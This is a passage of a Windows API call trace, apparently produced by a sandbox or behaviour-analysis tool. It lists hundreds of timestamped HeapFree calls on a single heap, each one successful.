HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0181.518] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0181.521] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0181.521] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0181.521] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0181.522] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0181.524] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0181.524] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0181.524] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0181.531] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0181.532] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0181.532] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0181.538] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0181.539] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0181.539] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0181.541] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0181.542] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0181.542] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0181.542] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0181.548] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0181.548] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0181.548] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0181.551] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0181.557] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0181.557] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0181.557] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0181.872] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0181.872] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0181.872] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0181.872] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0182.032] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0182.032] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0182.032] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0182.035] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0182.036] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0182.037] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0182.037] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0182.037] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0182.044] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0182.047] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0182.051] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0182.051] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0182.053] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0182.055] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0182.055] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0182.056] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0182.056] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0182.064] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4565708 | out: hHeap=0x710000) returned 1 [0182.065] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0182.130] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4555700 | out: hHeap=0x710000) returned 1 [0182.130] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0182.130] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0182.333] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0182.334] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0182.334] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0182.337] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0182.337] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0182.338] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0182.338] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0182.338] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0182.339] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0182.340] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0182.340] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3780730 | out: hHeap=0x710000) returned 1 [0182.342] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0182.346] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0182.346] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0182.349] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0182.350] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0182.351] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0182.354] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0182.354] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0182.357] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0182.358] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0182.358] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0182.360] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0182.360] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0182.363] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0182.364] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0182.369] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0182.369] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0182.371] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0182.371] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0182.371] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0182.372] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0182.373] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0182.374] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0182.374] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0183.029] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0183.029] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0183.032] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0183.032] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0183.034] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x469ffe8 | out: hHeap=0x710000) returned 1 [0183.034] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x469ffe8 | out: hHeap=0x710000) returned 1 [0183.034] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.034] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0183.034] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x469ffe8 | out: hHeap=0x710000) returned 1 [0183.035] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x469ffe8 | out: hHeap=0x710000) returned 1 [0183.035] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.035] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0183.035] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x469ffe8 | out: hHeap=0x710000) returned 1 [0183.035] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x469ffe8 | out: hHeap=0x710000) returned 1 [0183.035] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.035] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0183.035] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0183.042] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.045] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x469ffe8 | out: hHeap=0x710000) returned 1 [0183.045] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.045] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0183.048] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0183.051] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.051] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0183.058] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x469ffe8 | out: hHeap=0x710000) returned 1 [0183.058] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.058] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0183.064] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x469ffe8 | out: hHeap=0x710000) returned 1 [0183.065] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.065] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0183.065] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0183.241] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.242] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.242] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.242] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.242] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.242] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.242] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.243] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.243] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.243] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.243] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.243] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.243] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.243] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.244] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.244] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.244] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.244] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.244] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.244] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.245] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.245] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.245] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.245] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.245] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.245] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.245] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.246] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.246] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.246] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.246] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.246] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.246] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.247] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.247] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0183.247] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0183.247] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46afff0 | out: hHeap=0x710000) returned 1 [0183.251] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0183.251] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46afff0 | out: hHeap=0x710000) returned 1 [0183.256] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.257] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.258] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.259] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.260] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.261] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.262] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.263] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.263] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.264] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.266] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.267] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.268] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.269] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.270] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.271] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.272] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.272] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.274] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.274] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.280] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.281] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.282] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.285] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.285] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.285] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.336] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.434] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0183.434] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.434] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.434] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.434] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.435] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.435] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.435] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0183.435] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0183.435] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46afff0 | out: hHeap=0x710000) returned 1 [0183.439] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0183.440] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0183.440] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0183.441] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0183.442] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0183.443] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0183.443] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0183.444] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0183.445] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0183.446] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0183.447] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0183.448] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0183.449] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0183.449] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0183.449] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0183.451] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0183.452] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0183.453] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0183.454] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0183.455] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0183.455] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0183.456] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0183.456] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0183.458] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0183.458] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0183.459] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0183.460] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0183.464] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0183.464] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0183.465] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0183.465] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0183.466] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0183.466] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0183.466] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0183.467] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0183.467] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0183.467] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46afff0 | out: hHeap=0x710000) returned 1 [0183.471] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0183.471] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: 